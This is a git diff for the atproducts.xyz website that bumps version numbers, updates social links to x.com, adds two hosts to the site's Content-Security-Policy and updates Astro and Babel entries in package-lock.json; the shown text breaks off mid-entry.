diff --git a/README.md b/README.md
index 1dabdd95d..68fef423c 100644
--- a/README.md
+++ b/README.md
@@ -2,10 +2,10 @@
  <a href="https://atproducts.xyz"><img src="/public/media/images/ATProductsLLC.png" alt="AT Products LLC" width="75%"></a>
  <br><br>
  <p>
-  <img src="https://img.shields.io/badge/made%20with-love-E760A4.svg" alt="Made with love">
+  <img src="https://img.shields.io/badge/made%20with-love-E760A4.svg" alt="Made with love"> 
   <a href="https://opensource.org/licenses/MIT" target="_blank"><img src="https://img.shields.io/badge/license-MIT-green.svg" alt="License"></a>
-  <a href="https://atproducts.xyz#what-new"><img src="https://img.shields.io/badge/stable_version-2.19.2-blue" alt="Stable Version"></a>
-  <a href="https://beta.atproducts.xyz#what-new"><img src="https://img.shields.io/badge/beta_version-2.19.2-red" alt="Beta Version"></a>
+  <a href="https://atproducts.xyz#what-new"><img src="https://img.shields.io/badge/stable_version-2.20-blue" alt="Stable Version"></a>
+  <a href="https://beta.atproducts.xyz#what-new"><img src="https://img.shields.io/badge/beta_version-2.20-red" alt="Beta Version"></a>
   <a href="https://beta-testing.atproducts.xyz"><img src="https://img.shields.io/badge/DoBT_version-DoBT_v2.1-green" alt="DoBT Version"></a>
   <img src="https://github.com/Alex-Toucan/atproducts.xyz/workflows/CodeQL/badge.svg" alt="CodeQL">
   <a href="https://app.netlify.com/sites/atproducts/deploys"><img src="https://api.netlify.com/api/v1/badges/faf5f3b5-bf03-457d-9deb-dbfc4d3b55ee/deploy-status" alt="Netlify"></a> 
@@ -22,14 +22,14 @@
 <hr>
 <h2>Contact Links</h2>
 <p>Discord: <a href="https://discord.com/users/905434578926313512">@alextoucan</a></p>
-<p>Twitter: <a href="https://twitter.com/ATProductsLLC">ATProductsLLC</a></p>
+<p>Twitter/X: <a href="https://x.com/ATProductsLLC">ATProductsLLC</a></p>
 <p>YouTube: <a href="https://youtube.com/c/AlexToucanAT">Alex Toucan -AT-</a></p>
 <p>Email: <a href="mailto:support@atproducts.xyz">support@atproducts.xyz</a></p>
-<p>Secondary Weather Account: <a href="https://twitter.com/ATPWeather">ATPWeather</a></p>
+<p>Secondary Weather Account: <a href="https://x.com/ATPWeather">ATPWeather</a></p>
 <hr>
 <h2>About Us</h2>
 AT Products LLC, otherwise known as AT Products, is an informative technology company that is based in the United States that provides files, that contains resources for cybersecurity and malware, and <a href="https://atproducts.xyz/paid">other solutions</a> to your problems!<br><br>
 The "AT" in AT Products does stand for Alex Toucan.
 <hr>
 <h6>atproducts.xyz is under a MIT license. <a href="https://atproducts.xyz/licenses#ours">View more information</a>.
-<h6>Last Recorded Version: 2.19.2</h6>
+<h6>Last Recorded Version: 2.20.1</h6>
diff --git a/netlify.toml b/netlify.toml
index de938944c..9332017bd 100644
--- a/netlify.toml
+++ b/netlify.toml
@@ -20,14 +20,14 @@
       preload'''
     Content-Security-Policy = '''
       default-src 'none'; 
-      frame-src 'self' https://app.netlify.com/; 
+      frame-src 'self' https://app.netlify.com/ https://codepen.io; 
       form-action 'self'; 
       base-uri 'self'; 
       manifest-src 'self'; 
       font-src 'self' data: https://cdn.jsdelivr.net https://fonts.googleapis.com https://fonts.gstatic.com; 
       object-src 'self'; 
-      script-src 'unsafe-inline' 'self' https://cdn.jsdelivr.net; 
-      style-src 'unsafe-hashes' 'self' https://cdn.jsdelivr.net https://fonts.googleapis.com 'unsafe-inline'; 
+      script-src 'unsafe-inline' 'self' https://cdnjs.cloudflare.com https://cdn.jsdelivr.net; 
+      style-src 'unsafe-hashes' 'self' https://cdnjs.cloudflare.com https://cdn.jsdelivr.net https://fonts.googleapis.com 'unsafe-inline'; 
       img-src 'self' data:;
       frame-ancestors 'self' '''
     Features-Policy = "document-domain 'self';"
diff --git a/package-lock.json b/package-lock.json
index 63a6a0d87..25fa149fe 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -1,15 +1,15 @@
 {
   "name": "atproducts.xyz",
-  "version": "2.19.2",
+  "version": "2.20.1",
   "lockfileVersion": 3,
   "requires": true,
   "packages": {
     "": {
       "name": "atproducts.xyz",
-      "version": "2.19.2",
+      "version": "2.20.1",
       "dependencies": {
         "@astrojs/react": "^3.6.2",
-        "astro": "^4.15.2",
+        "astro": "^4.16.13",
         "react": "^18.2.0",
         "react-dom": "^18.2.0"
       }
@@ -40,29 +40,29 @@
       "license": "MIT"
     },
     "node_modules/@astrojs/markdown-remark": {
-      "version": "5.2.0",
-      "resolved": "https://registry.npmjs.org/@astrojs/markdown-remark/-/markdown-remark-5.2.0.tgz",
-      "integrity": "sha512-vWGM24KZXz11jR3JO+oqYU3T2qpuOi4uGivJ9SQLCAI01+vEkHC60YJMRvHPc+hwd60F7euNs1PeOEixIIiNQw==",
+      "version": "5.3.0",
+      "resolved": "https://registry.npmjs.org/@astrojs/markdown-remark/-/markdown-remark-5.3.0.tgz",
+      "integrity": "sha512-r0Ikqr0e6ozPb5bvhup1qdWnSPUvQu6tub4ZLYaKyG50BXZ0ej6FhGz3GpChKpH7kglRFPObJd/bDyf2VM9pkg==",
       "license": "MIT",
       "dependencies": {
         "@astrojs/prism": "3.1.0",
         "github-slugger": "^2.0.0",
-        "hast-util-from-html": "^2.0.1",
+        "hast-util-from-html": "^2.0.3",
         "hast-util-to-text": "^4.0.2",
         "import-meta-resolve": "^4.1.0",
         "mdast-util-definitions": "^6.0.0",
         "rehype-raw": "^7.0.0",
-        "rehype-stringify": "^10.0.0",
+        "rehype-stringify": "^10.0.1",
         "remark-gfm": "^4.0.0",
         "remark-parse": "^11.0.0",
-        "remark-rehype": "^11.1.0",
+        "remark-rehype": "^11.1.1",
         "remark-smartypants": "^3.0.2",
-        "shiki": "^1.10.3",
+        "shiki": "^1.22.0",
         "unified": "^11.0.5",
         "unist-util-remove-position": "^5.0.0",
         "unist-util-visit": "^5.0.0",
         "unist-util-visit-parents": "^6.0.1",
-        "vfile": "^6.0.2"
+        "vfile": "^6.0.3"
       }
     },
     "node_modules/@astrojs/prism": {
@@ -115,12 +115,13 @@
       }
     },
     "node_modules/@babel/code-frame": {
-      "version": "7.24.7",
-      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.24.7.tgz",
-      "integrity": "sha512-BcYH1CVJBO9tvyIZ2jVeXgSIMvGZ2FDRvDdOIVQyuklNKSsx+eppDEBq/g47Ayw+RqNFE+URvOShmf+f/qwAlA==",
+      "version": "7.26.2",
+      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.26.2.tgz",
+      "integrity": "sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==",
       "license": "MIT",
       "dependencies": {
-        "@babel/highlight": "^7.24.7",
+        "@babel/helper-validator-identifier": "^7.25.9",
+        "js-tokens": "^4.0.0",
         "picocolors": "^1.0.0"
       },
       "engines": {
@@ -128,30 +129,30 @@
       }
     },
     "node_modules/@babel/compat-data": {
-      "version": "7.25.2",
-      "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.25.2.tgz",
-      "integrity": "sha512-bYcppcpKBvX4znYaPEeFau03bp89ShqNMLs+rmdptMw+heSZh9+z84d2YG+K7cYLbWwzdjtDoW/uqZmPjulClQ==",
+      "version": "7.26.2",
+      "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.26.2.tgz",
+      "integrity": "sha512-Z0WgzSEa+aUcdiJuCIqgujCshpMWgUpgOxXotrYPSA53hA3qopNaqcJpyr0hVb1FeWdnqFA35/fUtXgBK8srQg==",
       "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/core": {
-      "version": "7.25.2",
-      "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.25.2.tgz",
-      "integrity": "sha512-BBt3opiCOxUr9euZ5/ro/Xv8/V7yJ5bjYMqG/C1YAo8MIKAnumZalCN+msbci3Pigy4lIQfPUpfMM27HMGaYEA==",
+      "version": "7.26.0",
+      "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.26.0.tgz",
+      "integrity": "sha512-i1SLeK+DzNnQ3LL/CswPCa/E5u4lh1k6IAEphON8F+cXt0t9euTshDru0q7/IqMa1PMPz5RnHuHscF8/ZJsStg==",
       "license": "MIT",
       "dependencies": {
         "@ampproject/remapping": "^2.2.0",
-        "@babel/code-frame": "^7.24.7",
-        "@babel/generator": "^7.25.0",
-        "@babel/helper-compilation-targets": "^7.25.2",
-        "@babel/helper-module-transforms": "^7.25.2",
-        "@babel/helpers": "^7.25.0",
-        "@babel/parser": "^7.25.0",
-        "@babel/template": "^7.25.0",
-        "@babel/traverse": "^7.25.2",
-        "@babel/types": "^7.25.2",
+        "@babel/code-frame": "^7.26.0",
+        "@babel/generator": "^7.26.0",
+        "@babel/helper-compilation-targets": "^7.25.9",
+        "@babel/helper-module-transforms": "^7.26.0",
+        "@babel/helpers": "^7.26.0",
+        "@babel/parser": "^7.26.0",
+        "@babel/template": "^7.25.9",
+        "@babel/traverse": "^7.25.9",
+        "@babel/types": "^7.26.0",
         "convert-source-map": "^2.0.0",
         "debug": "^4.1.0",
         "gensync": "^1.0.0-beta.2",
@@ -166,42 +167,52 @@
         "url": "https://opencollective.com/babel"
       }
     },
+    "node_modules/@babel/core/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "license": "ISC",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
     "node_modules/@babel/generator": {
-      "version": "7.25.5",
-      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.25.5.tgz",
-      "integrity": "sha512-abd43wyLfbWoxC6ahM8xTkqLpGB2iWBVyuKC9/srhFunCd1SDNrV1s72bBpK4hLj8KLzHBBcOblvLQZBNw9r3w==",
+      "version": "7.26.2",
+      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.26.2.tgz",
+      "integrity": "sha512-zevQbhbau95nkoxSq3f/DC/SC+EEOUZd3DYqfSkMhY2/wfSeaHV1Ew4vk8e+x8lja31IbyuUa2uQ3JONqKbysw==",
       "license": "MIT",
       "dependencies": {
-        "@babel/types": "^7.25.4",
+        "@babel/parser": "^7.26.2",
+        "@babel/types": "^7.26.0",
         "@jridgewell/gen-mapping": "^0.3.5",
         "@jridgewell/trace-mapping": "^0.3.25",
-        "jsesc": "^2.5.1"
+        "jsesc": "^3.0.2"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-annotate-as-pure": {
-      "version": "7.24.7",
-      "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.24.7.tgz",
-      "integrity": "sha512-BaDeOonYvhdKw+JoMVkAixAAJzG2jVPIwWoKBPdYuY9b452e2rPuI9QPYh3KpofZ3pW2akOmwZLOiOsHMiqRAg==",
+      "version": "7.25.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.25.9.tgz",
+      "integrity": "sha512-gv7320KBUFJz1RnylIg5WWYPRXKZ884AGkYpgpWW02TH66Dl+HaC1t1CKd0z3R4b6hdYEcmrNZHUmfCP+1u3/g==",
       "license": "MIT",
       "dependencies": {
-        "@babel/types": "^7.24.7"
+        "@babel/types": "^7.25.9"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-compilation-targets": {
-      "version": "7.25.2",
-      "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.25.2.tgz",
-      "integrity": "sha512-U2U5LsSaZ7TAt3cfaymQ8WHh0pxvdHoEk6HVpaexxixjyEquMh0L0YNJNM6CTGKMXV1iksi0iZkGw4AcFkPaaw==",
+      "version": "7.25.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.25.9.tgz",
+      "integrity": "sha512-j9Db8Suy6yV/VHa4qzrj9yZfZxhLWQdVnRlXxmKLYlhWUVB1sB2G5sxuWYXk/whHD9iW76PmNzxZ4UCnTQTVEQ==",
       "license": "MIT",
       "dependencies": {
-        "@babel/compat-data": "^7.25.2",
-        "@babel/helper-validator-option": "^7.24.8",
-        "browserslist": "^4.23.1",
+        "@babel/compat-data": "^7.25.9",
+        "@babel/helper-validator-option": "^7.25.9",
+        "browserslist": "^4.24.0",
         "lru-cache": "^5.1.1",
         "semver": "^6.3.1"
       },
@@ -209,29 +220,37 @@
         "node": ">=6.9.0"
       }
     },
+    "node_modules/@babel/helper-compilation-targets/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "license": "ISC",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
     "node_modules/@babel/helper-module-imports": {
-      "version": "7.24.7",
-      "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.24.7.tgz",
-      "integrity": "sha512-8AyH3C+74cgCVVXow/myrynrAGv+nTVg5vKu2nZph9x7RcRwzmh0VFallJuFTZ9mx6u4eSdXZfcOzSqTUm0HCA==",
+      "version": "7.25.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.25.9.tgz",
+      "integrity": "sha512-tnUA4RsrmflIM6W6RFTLFSXITtl0wKjgpnLgXyowocVPrbYrLUXSBXDgTs8BlbmIzIdlBySRQjINYs2BAkiLtw==",
       "license": "MIT",
       "dependencies": {
-        "@babel/traverse": "^7.24.7",
-        "@babel/types": "^7.24.7"
+        "@babel/traverse": "^7.25.9",
+        "@babel/types": "^7.25.9"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-module-transforms": {
-      "version": "7.25.2",
-      "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.25.2.tgz",
-      "integrity": "sha512-BjyRAbix6j/wv83ftcVJmBt72QtHI56C7JXZoG2xATiLpmoC7dpd8WnkikExHDVPpi/3qCmO6WY1EaXOluiecQ==",
+      "version": "7.26.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.26.0.tgz",
+      "integrity": "sha512-xO+xu6B5K2czEnQye6BHA7DolFFmS3LB7stHZFaOLb1pAwO1HWLS8fXA+eh0A2yIvltPVmx3eNNDBJA2SLHXFw==",
       "license": "MIT",
       "dependencies": {
-        "@babel/helper-module-imports": "^7.24.7",
-        "@babel/helper-simple-access": "^7.24.7",
-        "@babel/helper-validator-identifier": "^7.24.7",
-        "@babel/traverse": "^7.25.2"
+        "@babel/helper-module-imports": "^7.25.9",
+        "@babel/helper-validator-identifier": "^7.25.9",
+        "@babel/traverse": "^7.25.9"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -241,89 +260,61 @@
       }
     },
     "node_modules/@babel/helper-plugin-utils": {
-      "version": "7.24.8",
-      "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.24.8.tgz",
-      "integrity": "sha512-FFWx5142D8h2Mgr/iPVGH5G7w6jDn4jUSpZTyDnQO0Yn7Ks2Kuz6Pci8H6MPCoUJegd/UZQ3tAvfLCxQSnWWwg==",
-      "license": "MIT",
-      "engines": {
-        "node": ">=6.9.0"
-      }
-    },
-    "node_modules/@babel/helper-simple-access": {
-      "version": "7.24.7",
-      "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.24.7.tgz",
-      "integrity": "sha512-zBAIvbCMh5Ts+b86r/CjU+4XGYIs+R1j951gxI3KmmxBMhCg4oQMsv6ZXQ64XOm/cvzfU1FmoCyt6+owc5QMYg==",
+      "version": "7.25.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.25.9.tgz",
+      "integrity": "sha512-kSMlyUVdWe25rEsRGviIgOWnoT/nfABVWlqt9N19/dIPWViAOW2s9wznP5tURbs/IDuNk4gPy3YdYRgH3uxhBw==",
       "license": "MIT",
-      "dependencies": {
-        "@babel/traverse": "^7.24.7",
-        "@babel/types": "^7.24.7"
-      },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-string-parser": {
-      "version": "7.24.8",
-      "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.24.8.tgz",
-      "integrity": "sha512-pO9KhhRcuUyGnJWwyEgnRJTSIZHiT+vMD0kPeD+so0l7mxkMT19g3pjY9GTnHySck/hDzq+dtW/4VgnMkippsQ==",
+      "version": "7.25.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.25.9.tgz",
+      "integrity": "sha512-4A/SCr/2KLd5jrtOMFzaKjVtAei3+2r/NChoBNoZ3EyP/+GlhoaEGoWOZUmFmoITP7zOJyHIMm+DYRd8o3PvHA==",
       "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-validator-identifier": {
-      "version": "7.24.7",
-      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.24.7.tgz",
-      "integrity": "sha512-rR+PBcQ1SMQDDyF6X0wxtG8QyLCgUB0eRAGguqRLfkCA87l7yAP7ehq8SNj96OOGTO8OBV70KhuFYcIkHXOg0w==",
+      "version": "7.25.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz",
+      "integrity": "sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==",
       "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-validator-option": {
-      "version": "7.24.8",
-      "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.24.8.tgz",
-      "integrity": "sha512-xb8t9tD1MHLungh/AIoWYN+gVHaB9kwlu8gffXGSt3FFEIT7RjS+xWbc2vUD1UTZdIpKj/ab3rdqJ7ufngyi2Q==",
+      "version": "7.25.9",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.25.9.tgz",
+      "integrity": "sha512-e/zv1co8pp55dNdEcCynfj9X7nyUKUXoUEwfXqaZt0omVOmDe9oOTdKStH4GmAw6zxMFs50ZayuMfHDKlO7Tfw==",
       "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helpers": {
-      "version": "7.25.0",
-      "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.25.0.tgz",
-      "integrity": "sha512-MjgLZ42aCm0oGjJj8CtSM3DB8NOOf8h2l7DCTePJs29u+v7yO/RBX9nShlKMgFnRks/Q4tBAe7Hxnov9VkGwLw==",
+      "version": "7.26.0",
+      "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.26.0.tgz",
+      "integrity": "sha512-tbhNuIxNcVb21pInl3ZSjksLCvgdZy9KwJ8brv993QtIVKJBBkYXz4q4ZbAv31GdnC+R90np23L5FbEBlthAEw==",
       "license": "MIT",
       "dependencies": {
-        "@babel/template": "^7.25.0",
-        "@babel/types": "^7.25.0"
-      },
-      "engines": {
-        "node": ">=6.9.0"
-      }
-    },
-    "node_modules/@babel/highlight": {
-      "version": "7.24.7",
-      "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.24.7.tgz",
-      "integrity": "sha512-EStJpq4OuY8xYfhGVXngigBJRWxftKX9ksiGDnmlY3o7B/V7KIAc9X4oiK87uPJSc/vs5L869bem5fhZa8caZw==",
-      "license": "MIT",
-      "dependencies": {
-        "@babel/helper-validator-identifier": "^7.24.7",
-        "chalk": "^2.4.2",
-        "js-tokens": "^4.0.0",
-        "picocolors": "^1.0.0"
+        "@babel/template": "^7.25.9",
+        "@babel/types": "^7.26.0"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/parser": {
-      "version": "7.25.4",
-      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.25.4.tgz",
-      "integrity": "sha512-nq+eWrOgdtu3jG5Os4TQP3x3cLA8hR8TvJNjD8vnPa20WGycimcparWnLK4jJhElTK6SDyuJo1weMKO/5LpmLA==",
+      "version": "7.26.2",
+      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.26.2.tgz",
+      "integrity": "sha512-DWMCZH9WA4Maitz2q21SRKHo9QXZxkDsbNZoVD62gusNtNBBqDg9i7uOhASfTfIGNzW+O+r7+jAlM8dwphcJKQ==",
       "license": "MIT",
       "dependencies": {
-        "@babel/types": "^7.25.4"
+        "@babel/types": "^7.26.0"
       },
       "bin": {
         "parser": "bin/babel-parser.js"
@@ -333,12 +324,12 @@
       }
     },
     "node_modules/@babel/plugin-syntax-jsx": {
-      "version": "7.24.7",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.24.7.tgz",
-      "integrity": "sha512-6ddciUPe/mpMnOKv/U+RSd2vvVy+Yw/JfBB0ZHYjEZt9NLHmCUylNYlsbqCCS1Bffjlb0fCwC9Vqz+sBz6PsiQ==",
+      "version": "7.25.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.25.9.tgz",
+      "integrity": "sha512-ld6oezHQMZsZfp6pWtbjaNDF2tiiCYYDqQszHt5VV437lewP9aSi2Of99CK0D0XB21k7FLgnLcmQKyKzynfeAA==",
       "license": "MIT",
       "dependencies": {
-        "@babel/helper-plugin-utils": "^7.24.7"
+        "@babel/helper-plugin-utils": "^7.25.9"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -348,16 +339,16 @@
       }
     },
     "node_modules/@babel/plugin-transform-react-jsx": {
-      "version": "7.25.2",
-      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.25.2.tgz",
-      "integrity": "sha512-KQsqEAVBpU82NM/B/N9j9WOdphom1SZH3R+2V7INrQUH+V9EBFwZsEJl8eBIVeQE62FxJCc70jzEZwqU7RcVqA==",
+      "version": "7.25.9",
+      "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.25.9.tgz",
+      "integrity": "sha512-s5XwpQYCqGerXl+Pu6VDL3x0j2d82eiV77UJ8a2mDHAW7j9SWRqQ2y1fNo1Z74CdcYipl5Z41zvjj4Nfzq36rw==",
       "license": "MIT",
       "dependencies": {
-        "@babel/helper-annotate-as-pure": "^7.24.7",
-        "@babel/helper-module-imports": "^7.24.7",
-        "@babel/helper-plugin-utils": "^7.24.8",
-        "@babel/plugin-syntax-jsx": "^7.24.7",
-        "@babel/types": "^7.25.2"
+        "@babel/helper-annotate-as-pure": "^7.25.9",
+        "@babel/helper-module-imports": "^7.25.9",
+        "@babel/helper-plugin-utils": "^7.25.9",
+        "@babel/plugin-syntax-jsx": "^7.25.9",
+        "@babel/types": "^7.25.9"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -397,30 +388,30 @@
       }
     },
     "node_modules/@babel/template": {
-      "version": "7.25.0",
-      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.25.0.tgz",
-      "integrity": "sha512-aOOgh1/5XzKvg1jvVz7AVrx2piJ2XBi227DHmbY6y+bM9H2FlN+IfecYu4Xl0cNiiVejlsCri89LUsbj8vJD9Q==",
+      "version": "7.25.9",
+      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.25.9.tgz",
+      "integrity": "sha512-9DGttpmPvIxBb/2uwpVo3dqJ+O6RooAFOS+lB+xDqoE2PVCE8nfoHMdZLpfCQRLwvohzXISPZcgxt80xLfsuwg==",
       "license": "MIT",
       "dependencies": {
-        "@babel/code-frame": "^7.24.7",
-        "@babel/parser": "^7.25.0",
-        "@babel/types": "^7.25.0"
+        "@babel/code-frame": "^7.25.9",
+        "@babel/parser": "^7.25.9",
+        "@babel/types": "^7.25.9"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/traverse": {
-      "version": "7.25.4",
-      "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.25.4.tgz",
-      "integrity": "sha512-VJ4XsrD+nOvlXyLzmLzUs/0qjFS4sK30te5yEFlvbbUNEgKaVb2BHZUpAL+ttLPQAHNrsI3zZisbfha5Cvr8vg==",
+      "version": "7.25.9",
+      "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.25.9.tgz",
+      "integrity": "sha512-ZCuvfwOwlz/bawvAuvcj8rrithP2/N55Tzz342AkTvq4qaWbGfmCk/tKhNaV2cthijKrPAA8SRJV5WWe7IBMJw==",
       "license": "MIT",
       "dependencies": {
-        "@babel/code-frame": "^7.24.7",
-        "@babel/generator": "^7.25.4",
-        "@babel/parser": "^7.25.4",
-        "@babel/template": "^7.25.0",
-        "@babel/types": "^7.25.4",
+        "@babel/code-frame": "^7.25.9",
+        "@babel/generator": "^7.25.9",
+        "@babel/parser": "^7.25.9",
+        "@babel/template": "^7.25.9",
+        "@babel/types": "^7.25.9",
         "debug": "^4.3.1",
         "globals": "^11.1.0"
       },
@@ -429,14 +420,13 @@
       }
     },
     "node_modules/@babel/types": {
-      "version": "7.25.6",
-      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.25.6.tgz",
-      "integrity": "sha512-/l42B1qxpG6RdfYf343Uw1vmDjeNhneUXtzhojE7pDgfpEypmRhI6j1kr17XCVv4Cgl9HdAiQY2x0GwKm7rWCw==",
+      "version": "7.26.0",
+      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.26.0.tgz",
+      "integrity": "sha512-Z/yiTPj+lDVnF7lWeKCIJzaIkI0vYO87dMpZ4bg4TDrFe4XXLFWL1TbXU27gBP3QccxV9mZICCrnjnYlJjXHOA==",
       "license": "MIT",
       "dependencies": {
-        "@babel/helper-string-parser": "^7.24.8",
-        "@babel/helper-validator-identifier": "^7.24.7",
-        "to-fast-properties": "^2.0.0"
+        "@babel/helper-string-parser": "^7.25.9",
+        "@babel/helper-validator-identifier": "^7.25.9"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -1354,20 +1344,20 @@
       }
     },
     "node_modules/@oslojs/encoding": {
-      "version": "0.4.1",
-      "resolved": "https://registry.npmjs.org/@oslojs/encoding/-/encoding-0.4.1.tgz",
-      "integrity": "sha512-hkjo6MuIK/kQR5CrGNdAPZhS01ZCXuWDRJ187zh6qqF2+yMHZpD9fAYpX8q2bOO6Ryhl3XpCT6kUX76N8hhm4Q==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/@oslojs/encoding/-/encoding-1.1.0.tgz",
+      "integrity": "sha512-70wQhgYmndg4GCPxPPxPGevRKqTIJ2Nh4OkiMWmDAVYsTQ+Ta7Sq+rPevXyXGdzr30/qZBnyOalCszoMxlyldQ==",
       "license": "MIT"
     },
     "node_modules/@rollup/pluginutils": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-5.1.0.tgz",
-      "integrity": "sha512-XTIWOPPcpvyKI6L1NHo0lFlCyznUEyPmPY1mc3KpPVDYulHSTvyeLNVW00QTLIAFNhR3kYnJTQHeGqU4M3n09g==",
+      "version": "5.1.3",
+      "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-5.1.3.tgz",
+      "integrity": "sha512-Pnsb6f32CD2W3uCaLZIzDmeFyQ2b8UWMFI7xtwUezpcGBDVDW6y9XgAWIlARiGAo6eNF5FK5aQTr0LFyNyqq5A==",
       "license": "MIT",
       "dependencies": {
         "@types/estree": "^1.0.0",
         "estree-walker": "^2.0.2",
-        "picomatch": "^2.3.1"
+        "picomatch": "^4.0.2"
       },
       "engines": {
         "node": ">=14.0.0"
@@ -1387,228 +1377,259 @@
       "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==",
       "license": "MIT"
     },
+    "node_modules/@rollup/pluginutils/node_modules/picomatch": {
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.2.tgz",
+      "integrity": "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/jonschlinkert"
+      }
+    },
     "node_modules/@rollup/rollup-android-arm-eabi": {
-      "version": "4.21.1",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.21.1.tgz",
-      "integrity": "sha512-2thheikVEuU7ZxFXubPDOtspKn1x0yqaYQwvALVtEcvFhMifPADBrgRPyHV0TF3b+9BgvgjgagVyvA/UqPZHmg==",
+      "version": "4.22.4",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.22.4.tgz",
